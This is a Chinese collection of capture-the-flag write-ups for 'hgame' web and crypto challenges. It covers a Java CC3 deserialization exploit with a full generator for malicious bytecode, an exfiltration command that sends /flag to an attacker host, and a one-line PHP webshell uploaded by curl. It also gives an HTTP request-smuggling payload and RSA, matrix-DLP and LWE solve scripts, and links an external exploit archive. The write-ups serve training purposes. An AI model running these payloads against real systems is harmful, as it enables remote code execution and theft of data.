黑名单仅禁用了 InvokerTransformer,这意味着经典的CC1链无法使用。但CC3链使用的是 InstantiateTransformer + TrAXFilter + TemplatesImpl,完全不依赖 InvokerTransformer

CC3链结构
HashMap.readObject()
  -> TiedMapEntry.hashCode()
    -> LazyMap.get()
      -> ChainedTransformer.transform()
        -> ConstantTransformer(TrAXFilter.class)
        -> InstantiateTransformer(Templates.class, templatesImpl)
          -> TrAXFilter.<init>(templatesImpl)
            -> TemplatesImpl.newTransformer()
              -> 加载恶意字节码 -> RCE
解题步骤
1. 下载并分析WAR包

解压WAR包,使用javap反编译class文件,发现:

  • Cookie userInfo 存储Base64编码的序列化对象
  • 反序列化时使用BlacklistObjectInputStream过滤
  • 仅禁用了 InvokerTransformer
2. 构建恶意字节码

使用Python手动构建Java 8兼容(class version 52)的恶意字节码,继承AbstractTranslet,在构造函数中执行命令。

3. 生成CC3链payload

使用Java编写exploit,将恶意字节码嵌入TemplatesImpl,通过CC3链触发执行。

4. 发送payload获取flag

将序列化payload Base64编码后放入Cookie,发送到靶机的/welcome端点触发反序列化RCE。

关键命令
#!/usr/bin/env python3
"""
CC3 chain payload generator for ezCC challenge.
Bypasses InvokerTransformer blacklist using TrAXFilter + InstantiateTransformer.
Generates Java 8 compatible bytecode.
"""
import struct
import io
import base64

# ============================================================
# Part 1: Build evil bytecode (Java 8 compatible, version 52)
# ============================================================
def build_evil_bytecode(cmd):
    """Build a minimal Java class that extends AbstractTranslet and executes a command."""

    # We'll build the class file manually to control the version
    buf = io.BytesIO()

    # Magic
    buf.write(b'\xca\xfe\xba\xbe')
    # Version: Java 8 = 52.0
    buf.write(struct.pack('>HH', 0, 52))

    # Constant pool
    # We need these constants:
    # 1: Class "EvilClass"
    # 2: Utf8 "EvilClass"
    # 3: Class "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet"
    # 4: Utf8 "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet"
    # 5: Utf8 "<init>"
    # 6: Utf8 "()V"
    # 7: Utf8 "Code"
    # 8: NameAndType <init>:()V
    # 9: Methodref AbstractTranslet.<init>:()V
    # 10: Class "java/lang/Runtime"
    # 11: Utf8 "java/lang/Runtime"
    # 12: Utf8 "getRuntime"
    # 13: Utf8 "()Ljava/lang/Runtime;"
    # 14: NameAndType getRuntime:()Ljava/lang/Runtime;
    # 15: Methodref Runtime.getRuntime
    # 16: Utf8 "exec"
    # 17: Utf8 "([Ljava/lang/String;)Ljava/lang/Process;"
    # 18: NameAndType exec:([Ljava/lang/String;)Ljava/lang/Process;
    # 19: Methodref Runtime.exec
    # 20: Class "java/lang/String"
    # 21: Utf8 "java/lang/String"
    # 22: String "/bin/bash"
    # 23: Utf8 "/bin/bash"
    # 24: String "-c"
    # 25: Utf8 "-c"
    # 26: String <cmd>
    # 27: Utf8 <cmd>
    # 28: Utf8 "SourceFile"
    # 29: Utf8 "EvilClass.java"

    constants = []

    def add_utf8(s):
        data = s.encode('utf-8')
        constants.append((1, struct.pack('>H', len(data)) + data))
        return len(constants)

    def add_class(name_idx):
        constants.append((7, struct.pack('>H', name_idx)))
        return len(constants)

    def add_string(utf8_idx):
        constants.append((8, struct.pack('>H', utf8_idx)))
        return len(constants)

    def add_nameandtype(name_idx, desc_idx):
        constants.append((12, struct.pack('>HH', name_idx, desc_idx)))
        return len(constants)

    def add_methodref(class_idx, nat_idx):
        constants.append((10, struct.pack('>HH', class_idx, nat_idx)))
        return len(constants)

    # Build constant pool
    idx_evil_name = add_utf8("EvilClass")           # 1
    idx_evil_class = add_class(idx_evil_name)        # 2
    idx_at_name = add_utf8("com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet")  # 3
    idx_at_class = add_class(idx_at_name)            # 4
    idx_init_name = add_utf8("<init>")               # 5
    idx_void_desc = add_utf8("()V")                  # 6
    idx_code = add_utf8("Code")                      # 7
    idx_init_nat = add_nameandtype(idx_init_name, idx_void_desc)  # 8
    idx_super_init = add_methodref(idx_at_class, idx_init_nat)    # 9
    idx_rt_name = add_utf8("java/lang/Runtime")      # 10
    idx_rt_class = add_class(idx_rt_name)            # 11
    idx_getrt_name = add_utf8("getRuntime")          # 12
    idx_getrt_desc = add_utf8("()Ljava/lang/Runtime;")  # 13
    idx_getrt_nat = add_nameandtype(idx_getrt_name, idx_getrt_desc)  # 14
    idx_getrt_ref = add_methodref(idx_rt_class, idx_getrt_nat)      # 15
    idx_exec_name = add_utf8("exec")                 # 16
    idx_exec_desc = add_utf8("([Ljava/lang/String;)Ljava/lang/Process;")  # 17
    idx_exec_nat = add_nameandtype(idx_exec_name, idx_exec_desc)    # 18
    idx_exec_ref = add_methodref(idx_rt_class, idx_exec_nat)        # 19
    idx_str_name = add_utf8("java/lang/String")      # 20
    idx_str_class = add_class(idx_str_name)          # 21
    idx_bash_utf = add_utf8("/bin/bash")             # 22
    idx_bash_str = add_string(idx_bash_utf)          # 23
    idx_c_utf = add_utf8("-c")                       # 24
    idx_c_str = add_string(idx_c_utf)                # 25
    idx_cmd_utf = add_utf8(cmd)                      # 26
    idx_cmd_str = add_string(idx_cmd_utf)            # 27
    idx_sf = add_utf8("SourceFile")                  # 28
    idx_sf_val = add_utf8("EvilClass.java")          # 29

    # Write constant pool count
    cp_count = len(constants) + 1
    buf.write(struct.pack('>H', cp_count))

    # Write constants
    for tag, data in constants:
        buf.write(struct.pack('B', tag))
        buf.write(data)

    # Access flags: public
    buf.write(struct.pack('>H', 0x0021))
    # This class
    buf.write(struct.pack('>H', idx_evil_class))
    # Super class
    buf.write(struct.pack('>H', idx_at_class))
    # Interfaces count
    buf.write(struct.pack('>H', 0))
    # Fields count
    buf.write(struct.pack('>H', 0))

    # Methods count: 1 (<init>)
    buf.write(struct.pack('>H', 1))

    # Build <init> method bytecode
    code = io.BytesIO()
    # aload_0
    code.write(b'\x2a')
    # invokespecial super.<init>
    code.write(b'\xb7')
    code.write(struct.pack('>H', idx_super_init))
    # invokestatic Runtime.getRuntime()
    code.write(b'\xb8')
    code.write(struct.pack('>H', idx_getrt_ref))
    # Create String array of size 3
    code.write(b'\x06')  # iconst_3
    code.write(b'\xbd')  # anewarray
    code.write(struct.pack('>H', idx_str_class))
    # arr[0] = "/bin/bash"
    code.write(b'\x59')  # dup
    code.write(b'\x03')  # iconst_0
    code.write(b'\x12')  # ldc
    code.write(struct.pack('B', idx_bash_str))
    code.write(b'\x53')  # aastore
    # arr[1] = "-c"
    code.write(b'\x59')  # dup
    code.write(b'\x04')  # iconst_1
    code.write(b'\x12')  # ldc
    code.write(struct.pack('B', idx_c_str))
    code.write(b'\x53')  # aastore
    # arr[2] = cmd
    code.write(b'\x59')  # dup
    code.write(b'\x05')  # iconst_2
    code.write(b'\x12')  # ldc
    code.write(struct.pack('B', idx_cmd_str))
    code.write(b'\x53')  # aastore
    # invokevirtual Runtime.exec(String[])
    code.write(b'\xb6')  # invokevirtual
    code.write(struct.pack('>H', idx_exec_ref))
    # pop (discard Process return)
    code.write(b'\x57')
    # return
    code.write(b'\xb1')

    code_bytes = code.getvalue()

    # Method: <init>
    buf.write(struct.pack('>H', 0x0001))  # access: public
    buf.write(struct.pack('>H', idx_init_name))
    buf.write(struct.pack('>H', idx_void_desc))
    buf.write(struct.pack('>H', 1))  # attributes count: 1 (Code)

    # Code attribute
    buf.write(struct.pack('>H', idx_code))
    code_attr = io.BytesIO()
    code_attr.write(struct.pack('>H', 10))  # max_stack
    code_attr.write(struct.pack('>H', 1))   # max_locals
    code_attr.write(struct.pack('>I', len(code_bytes)))
    code_attr.write(code_bytes)
    code_attr.write(struct.pack('>H', 0))  # exception table length
    code_attr.write(struct.pack('>H', 0))  # code attributes count
    code_attr_bytes = code_attr.getvalue()
    buf.write(struct.pack('>I', len(code_attr_bytes)))
    buf.write(code_attr_bytes)

    # Class attributes: SourceFile
    buf.write(struct.pack('>H', 1))
    buf.write(struct.pack('>H', idx_sf))
    buf.write(struct.pack('>I', 2))
    buf.write(struct.pack('>H', idx_sf_val))

    return buf.getvalue()


if __name__ == "__main__":
    import sys
    cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
    bytecode = build_evil_bytecode(cmd)

    # Verify
    assert bytecode[:4] == b'\xca\xfe\xba\xbe'
    major = struct.unpack('>H', bytecode[6:8])[0]
    print(f"[*] Bytecode version: {major} (Java {'8' if major==52 else major})", file=sys.stderr)
    print(f"[*] Bytecode size: {len(bytecode)}", file=sys.stderr)

    # Output base64 of bytecode for testing
    print(base64.b64encode(bytecode).decode())

看着是AI自己搓了个exp出来,看下面的链接吧。

https://refjf4fuj304rnvg4rt0gb4.wetolink.com/xQ2N5JY8KD/exploit.zip

# 生成字节码
python3 build_bytecode.py 'curl -X POST -d @/flag http://VPS_IP:PORT/'

# 生成CC3链payload
java -cp "out:cc321.jar" com.exploit.Exploit "$BYTECODE"

# 发送payload
curl -sk "https://TARGET/welcome" -b "userInfo=$PAYLOAD"
Flag
hgame{EZcC_lS_r3AL1Y-B4sIc-i5N'T_it?263d21}

《文文。新闻》

题目分析

目标有两个服务:

  • App/Proxy: 1.116.118.188:31171
  • Backend: 1.116.118.188:30929

前端是 Node 代理 + Vite dev server,后端是 Rust 自写 HTTP 解析器。

通过 @fs 任意读拿到关键源码:

  • /app/frontend/proxy.js
  • /app/backend/src/main.rs
  • /app/backend/src/handlers.rs
  • /app/backend/src/http_parser.rs

可见代理对 /api/ 转发到 Rust 后端,后端解析器仅使用 Content-Length,不处理 Transfer-Encoding

漏洞点

请求走私(TE/CL 解析不一致)

  • Node 代理会处理 Transfer-Encoding: chunked
  • Rust 后端忽略 TE,仅信任 CL(无 CL 时 body 长度按 0)

于是可把”额外字节/请求”塞进后端连接流,实现 smuggling。

利用思路

最初直接 smuggle 第二个完整请求可以触发副作用(例如成功新增 comment),但不稳定拿到第二个响应。

最终采用更稳的”数据外带”方式:

1. 注册攻击账号

先注册普通攻击账号拿 token。

2. 发送 TE-chunked 前置请求

发送一个 TE-chunked 前置请求到 /api/register,chunk 体中嵌入半截 POST /api/comment

3. 半截请求设置

半截请求设置:

  • Authorization 为攻击者合法 token
  • Content-Type: application/x-www-form-urlencoded
  • Content-Length 设置较大
  • body 先给 content=CAP_xxx:: 前缀
4. 拼接后续请求

后续经过同一代理后端连接的请求字节会被拼进该 comment body。

5. 读取泄露数据

再用攻击者 token 读取 /api/comment,即可看到被拼进去的原始 HTTP 请求内容(含头部)。

关键 payload(核心结构)
POST /api/register HTTP/1.1
Host: 1.116.118.188:31171
Content-Type: application/json
Transfer-Encoding: chunked

<hex>
POST /api/comment HTTP/1.1
Host: 1.116.118.188:31171
Authorization: <attacker_token>
Content-Type: application/x-www-form-urlencoded
Content-Length: 520

content=CAP_...
0

关键泄露结果

在 comment 中捕获到内部 Recorder 请求:

  • user-agent: Bunbunmaru-Official-Recorder/1.0
  • flag: hgame{Th15_15-A_D@I1Y-n3Ws134d39cfeb}

多次抓到相同 flag 值,结果稳定。

Flag
hgame{Th15_15-A_D@I1Y-n3Ws134d39cfeb}

baby-web?

题目分析

这是一道多层Web渗透题目。外层是一个PHP文件上传站点,内层隐藏了一个Next.js应用。题目描述提示”这个网站似乎并不单纯”,暗示存在内网服务需要进一步探索。

解题步骤
第一步:分析附件 upload_handler.php

附件中的PHP代码显示文件上传功能允许的扩展名包括:

["jpg", "jpeg", "png", "gif", "pdf", "doc", "docx", "txt", "htaccess", "php"]

关键漏洞:允许上传 .php 文件,可以直接获取webshell。

第二步:上传PHP Webshell
curl -s -F "[email protected];filename=cmd.php" \
  -F "submit=上传文件" \
  'http://TARGET:PORT/upload_handler.php'

上传内容为:<?php system($_GET['c']); ?>

访问 /uploads/cmd.php?c=id 确认命令执行成功。

第三步:探索内网

通过webshell发现:

  • 当前服务器IP为 10.0.0.1
  • 内网存在 10.0.0.2:3000 运行 Next.js 服务
第四步:上传PHP代理脚本

由于无法从外部直接访问内网服务,上传了一个PHP代理脚本,利用PHP的curl扩展作为SSRF跳板访问内网Next.js服务。

第五步:注入内存Webshell

利用 CVE-2025-55182(React Server Components RCE)漏洞,通过构造恶意的multipart请求注入内存webshell到Next.js进程中。

核心payload利用了Next.js Server Actions的反序列化漏洞,通过原型链污染实现任意代码执行。


第六步:读取Flag

通过内存webshell在内网Next.js服务器上执行命令:

cat /flag

获得flag。

Flag
flag{TarGeT-ln_FAK3-TarG3T_Xlxi644feb6a0}

Crypto

ezRSA Writeup

题目分析

附件 server.py 关键逻辑:

  • 生成 n=p*qe=random.getrandbits(50)
  • Encryptc = m^(e ^ (1<<x)) mod n
  • Decryptm = c^d mod n
  • Get flag: 返回 c_flag = flag^e mod n,并将 safe=False
  • safe=False 后对输出做 disguise()

disguise() 看似随机异或两轮,但第二轮从末尾开始,最后一个字节会把第一轮掩码抵消掉,因此输出最后一个字节恒等于原消息最后一个字节

这意味着在 safe=False 后,解密接口泄露了 Dec(c) mod 256

利用思路
1. 恢复模数 n

对 x>=50e 的该位必为 0,因此:

e ^ (1<<x) = e + 2^x

记 c_x = Enc(m, x) = m^(e+2^x) mod n,则:

  • c_x^2 * c_{x+2} = m^(3e + 2^(x+1)+2^(x+2))
  • c_{x+1}^3 = m^(3e + 3*2^(x+1)) = m^(3e + 2^(x+1)+2^(x+2))

所以:

c_x^2 * c_{x+2} - c_{x+1}^3 = k*n

对多个底数 m、多个 x 取 gcd,即可得到 n

2. 恢复 e(50位)

先取 m=2

c50 = Enc(2,50) = 2^(e+2^50) = 2^e * 2^(2^50) (mod n)

故:

me = 2^e mod n = c50 * (2^(2^50))^{-1} mod n

再对每个 bit i in [0,49] 查询 ci = Enc(2,i)

  • 若 e_i=0ci = 2^(e+2^i) = me * 2^(2^i)
  • 若 e_i=1ci = 2^(e-2^i) = me * (2^(2^i))^{-1}

比较 ci * me^{-1} 是 2^(2^i) 还是其逆元即可判定位值。

3. 获取 flag 密文并利用低8位解密 Oracle

调用 Get flag 得 c_flag(此后 safe=False)。

设 B=256,构造:

c_i = c_flag * (B^i)^e mod n

解密后:

x_i = Dec(c_i) = (m * B^i) mod n

Oracle 泄露 b_i = x_i mod B(即最后一个字节)。

令:

x_i = B*x_{i-1} - t_i*n,其中 t_i in [0,255]

取模 B

b_i ≡ -t_i*n (mod B)

n 为奇数,n^{-1} mod 256 存在,因此:

t_i = (-b_i * n^{-1}) mod 256

{t_i} 就是 m/n 的 256 进制小数展开。不断收集 t_i 可将 m 区间收缩,直到唯一整数,得到明文 m

最后 long_to_bytes(m) 后按块长 127 做 unpad,得到 flag。

关键脚本
#!/usr/bin/env python3
import base64
from math import gcd

from pwn import remote
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
from Crypto.Util.Padding import unpad

HOST = "1.116.118.188"
PORT = 31776


class EzRSAClient:
    def __init__(self, host: str, port: int, timeout: float = 5.0):
        self.r = remote(host, port, timeout=timeout)

    def close(self):
        try:
            self.r.close()
        except Exception:
            pass

    def _recv_menu(self):
        self.r.recvuntil(b"Your choice > ")

    def encrypt(self, plain: int, x: int) -> int:
        self._recv_menu()
        self.r.sendline(b"1")
        self.r.recvuntil(b"plaintext:\n")
        self.r.sendline(str(plain).encode())
        self.r.recvuntil(b"flip:\n")
        self.r.sendline(str(x).encode())
        line = self.r.recvline().strip()
        return bytes_to_long(base64.b64decode(line))

    def decrypt_raw_bytes(self, cipher: int) -> bytes:
        self._recv_menu()
        self.r.sendline(b"2")
        self.r.recvuntil(b"ciphertext:\n")
        self.r.sendline(str(cipher).encode())
        line = self.r.recvline().strip()
        return base64.b64decode(line)

    def decrypt_int(self, cipher: int) -> int:
        return bytes_to_long(self.decrypt_raw_bytes(cipher))

    def get_flag_cipher(self) -> int:
        self._recv_menu()
        self.r.sendline(b"3")
        line = self.r.recvline().strip()
        return bytes_to_long(base64.b64decode(line))


def recover_n(cli: EzRSAClient) -> int:
    g = 0
    bases = [2, 3, 5]
    for m in bases:
        c = {x: cli.encrypt(m, x) for x in range(50, 58)}
        for x in range(50, 56):
            eq = abs(c[x] * c[x] * c[x + 2] - c[x + 1] * c[x + 1] * c[x + 1])
            g = gcd(g, eq)

    if g.bit_length() < 1000:
        raise ValueError(f"n candidate too small: {g.bit_length()} bits")

    # In rare cases gcd contains a small cofactor; strip tiny factors if possible.
    for p in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]:
        while g % p == 0 and (g // p).bit_length() >= 1000:
            g //= p

    return g


def recover_e(cli: EzRSAClient, n: int) -> int:
    m = 2

    c50 = cli.encrypt(m, 50)
    m_pow_2_50 = pow(m, 1 << 50, n)
    me = c50 * inverse(m_pow_2_50, n) % n

    e = 0
    me_inv = inverse(me, n)
    for i in range(50):
        ci = cli.encrypt(m, i)
        ratio = ci * me_inv % n

        mp = pow(m, 1 << i, n)
        mp_inv = inverse(mp, n)

        if ratio == mp:
            # bit i is 0
            pass
        elif ratio == mp_inv:
            # bit i is 1
            e |= 1 << i
        else:
            raise ValueError(f"unexpected ratio at bit {i}")

    return e


def recover_plain_from_lsb_oracle(cli: EzRSAClient, n: int, e: int, c_flag: int) -> int:
    B = 256
    n_inv_mod_B = inverse(n, B)
    mult = pow(B, e, n)

    cur = c_flag
    digits = []

    for _ in range(220):
        cur = (cur * mult) % n
        leak_bytes = cli.decrypt_raw_bytes(cur)
        low = leak_bytes[-1]

        t = (-low * n_inv_mod_B) % B
        digits.append(t)

        L = len(digits)
        S = 0
        for d in digits:
            S = S * B + d

        den = B ** L
        lo = (n * S + den - 1) // den
        hi = (n * (S + 1) - 1) // den

        if lo == hi:
            return lo

    raise ValueError("failed to narrow interval")


def solve_once():
    cli = EzRSAClient(HOST, PORT)
    try:
        n = recover_n(cli)
        print(f"[+] n bits: {n.bit_length()}")

        e = recover_e(cli, n)
        print(f"[+] e: {e}")
        print(f"[+] e bits: {e.bit_length()}")

        # quick check for e using x >= 50 where exponent is e + 2^x
        test_m = 7
        c_test = cli.encrypt(test_m, 60)
        if c_test != pow(test_m, e + (1 << 60), n):
            raise ValueError("e verification failed")

        c_flag = cli.get_flag_cipher()
        print(f"[+] c_flag bits: {c_flag.bit_length()}")

        m = recover_plain_from_lsb_oracle(cli, n, e, c_flag)
        print(f"[+] recovered m bits: {m.bit_length()}")

        if pow(m, e, n) != c_flag:
            raise ValueError("recovered plaintext does not re-encrypt to flag ciphertext")

        raw = long_to_bytes(m)
        try:
            unpadded = unpad(raw, 127)
        except ValueError:
            unpadded = raw

        try:
            text = unpadded.decode()
        except UnicodeDecodeError:
            text = unpadded.decode(errors="ignore")

        return text, {
            "n": n,
            "e": e,
            "c_flag": c_flag,
            "m": m,
            "raw": raw,
            "unpadded": unpadded,
        }
    finally:
        cli.close()


def main():
    last_err = None
    for attempt in range(1, 6):
        print(f"[*] Attempt {attempt}/5")
        try:
            flag_text, info = solve_once()
            print(f"[+] Candidate flag text: {flag_text}")
            with open('/workspace/found_flag.txt', 'w', encoding='utf-8') as f:
                f.write(flag_text)
            with open('/workspace/found_flag_debug.txt', 'w', encoding='utf-8') as f:
                f.write(f"n={info['n']}\n")
                f.write(f"e={info['e']}\n")
                f.write(f"c_flag={info['c_flag']}\n")
                f.write(f"m={info['m']}\n")
                f.write(f"raw_hex={info['raw'].hex()}\n")
                f.write(f"unpadded_hex={info['unpadded'].hex()}\n")
            return
        except Exception as exc:
            print(f"[!] attempt failed: {exc}")
            last_err = exc
    raise SystemExit(f"all attempts failed: {last_err}")


if __name__ == "__main__":
    main()

输出得到:

hgame{EzRS4-iS-5t1IL_PreTTY-3Z,right?9c226e}
Flag
hgame{EzRS4-iS-5t1IL_PreTTY-3Z,right?9c226e}

ezDLP Writeup

题目分析

这是一道密码学题目,涉及矩阵离散对数问题(Matrix DLP)。

题目结构
  • 生成一个大模数 n = p * q(两个大素数的乘积)
  • 在 Zmod(n) 上生成随机2×2矩阵 a
  • 计算 b = a^k,其中 k 是1000位素数
  • 用 MD5(k) 作为AES-ECB密钥加密flag
  • 给出 n, a, b 和密文
关键观察
  • 题目提示”Want to factor n? I’ve already done it!”,暗示n可以被分解
  • p-1 和 q-1 都是smooth的(由小素数因子组成),这使得DLP可解
解题步骤
Step 1: 分解模数n

通过factordb查询,得到 n = p * q,其中p约537位,q约538位。

关键发现:

  • p-1 的因子全部是约32位的小素数(smooth)
  • q-1 的因子也全部是约32位的小素数(smooth)
Step 2: 矩阵DLP降维

矩阵是2×2的,分别在GF(p)和GF(q)上分析:

mod p:

特征多项式可约,矩阵可对角化。通过特征值分解将矩阵DLP转化为两个标量DLP:λ^k = μ mod p。由于p-1是smooth的,用Pohlig-Hellman算法高效求解。

mod q:

特征多项式不可约,但可以利用行列式性质:det(a)^k = det(b) mod q。这将矩阵DLP降维为GF(q)*中的标量DLP,阶为q-1(smooth),同样可用Pohlig-Hellman求解。

Step 3: CRT合并

得到:

  • k ≡ k_p mod (p-1)
  • k ≡ k_q mod (q-1)

lcm(p-1, q-1) 约1073位 > k的1000位,因此CRT唯一确定k。

Step 4: 解密

用 MD5(k) 作为AES-ECB密钥解密密文,得到flag。

Flag
hgame{1s_m@trix_d1p_rEal1y_sImpLe??}

Decision Writeup

题目分析

附件 task.py 的加密逻辑是:

  • bit=1:输出 m=15 条 LWE 样本 (a,b),参数 n=25q 为 128-bit 素数。
  • bit=0:输出同维度的完全随机 tuple。
  • 全部输出在 output.txt,共 200 个 bit 块。

因此本题是典型 Decision-LWE 按位区分

关键思路

直接对单组(15条)无法恢复 secret(方程欠定)。但将两组拼接成 30 条样本后,可构造格:

L = {A s + qk}

对目标向量 b 做最近向量(CVP):

  • 若是 LWE 组,最近点残差即小噪声 e
  • 用该最近点反解 s(模 q 线性方程)。
  • 再用这个 s 去跑全部 200 组,残差小判 1、残差大判 0。
解题步骤
1. 解析样本

解析 output.txt 为 enc[200][15][26]

2. 构造格基

选两组样本(例如 (150,151)),构造 A(30x25), b(30)

3. CVP求解

用模 q 左核构造 kernel lattice,LLL + CVP 得到最近格点 cv

4. 恢复secret

解 A*s ≡ cv (mod q) 得到 secret s

5. 区分所有bit

对每组计算 |a·s-b| mod q 的中心化残差:

  • max_residual < 2^20 判为 bit=1
  • 否则 bit=0
6. 还原flag

拼接 200 bit 得 flagbin,按题目逆过程还原:

x = int(flagbin, 2)
inner = x.to_bytes(25, 'little').rstrip(b'\x00')
flag = b'hgame{' + inner + b'}'
结果
hgame{w1sh_you_4_h@ppy_new_y3ar}
验证

用多个不同的样本对(如 (150,151)(65,3)(154,83))独立恢复 secret 并解码,均得到同一 flag,结果稳定。

Flag
hgame{w1sh_you_4_h@ppy_new_y3ar}

eezzDLP Writeup

题目分析

给出代码核心:

  • n = p * p
  • b = a ** k,其中 a,b 是 Zmod(n) 上的 2×2 矩阵
  • k 是 660-bit 素数
  • key = md5(long_to_bytes(k)),AES-ECB 加密给出的密文

漏洞点非常明显:n 不是 pq,而是 p^2,可直接开方得到 p

解题步骤
Step 1: 先恢复 p

由公开 n 直接:

p = isqrt(n)
assert p*p == n
Step 2: 用 p-adic 提升拿到 k mod p

在 mod p^2 下,对任意矩阵有:

  • 若 A^(p-1) = I + pC
  • 且 B = A^k,则 B^(p-1) = (A^(p-1))^k = I + pkC

设:

  • M = A^(p-1) = I + pC
  • N = B^(p-1) = I + pD

则 D = kC (mod p),从任一非零矩阵元可直接求:

k mod p = D_ij * C_ij^{-1} mod p

实际四个元素算出的值一致,得到 k mod p

Step 3: 从 mod p 的子群拿到 k 的额外同余

将矩阵降到 GF(p),利用 p-1 的已知因子:

  • p-1 = 2 * 688465747867 * (large cofactor)

对 q = 688465747867

g = A^((p-1)/q), h = B^((p-1)/q)
=> h = g^k

在阶为 q 的子群里做 BSGS,得到:

  • k mod q = 423628515474

再用 (p-1)/2 投影得到奇偶性:

  • k mod 2 = 1

合并得:

  • k mod (2q) = 1112094263341
Step 4: CRT + 素数约束 + 直接验证

  • k mod p
  • k mod (2q)

做 CRT,得到 k mod MM 约 653 bits)。

而题目给定 k 是 660-bit 素数,所以在区间 [2^659, 2^660) 中仅有 122 个候选。筛选候选中的素数并验证 A^k == B (mod n),唯一命中:

k = 4238873411283850941524834332937913444291533048380278889933287099990199178752115950062698973120574658223722822108986551677048478954034338616186015239894923832089467914215948935216404122157104593061117
Step 5: 解密拿 flag

按题目同样方式构造密钥:

key = md5(long_to_bytes(k)).digest()
pt = AES.new(key, AES.MODE_ECB).decrypt(base64.b64decode(ciphertext))
flag = unpad(pt, 16)

得到:

hgame{M@trix-d1p_iz_rea1ly_1z!1!111!}
Flag
hgame{M@trix-d1p_iz_rea1ly_1z!1!111!}

文章来源: https://www.zhaoj.in/read-9175.html
如有侵权请联系:admin#unsafe.sh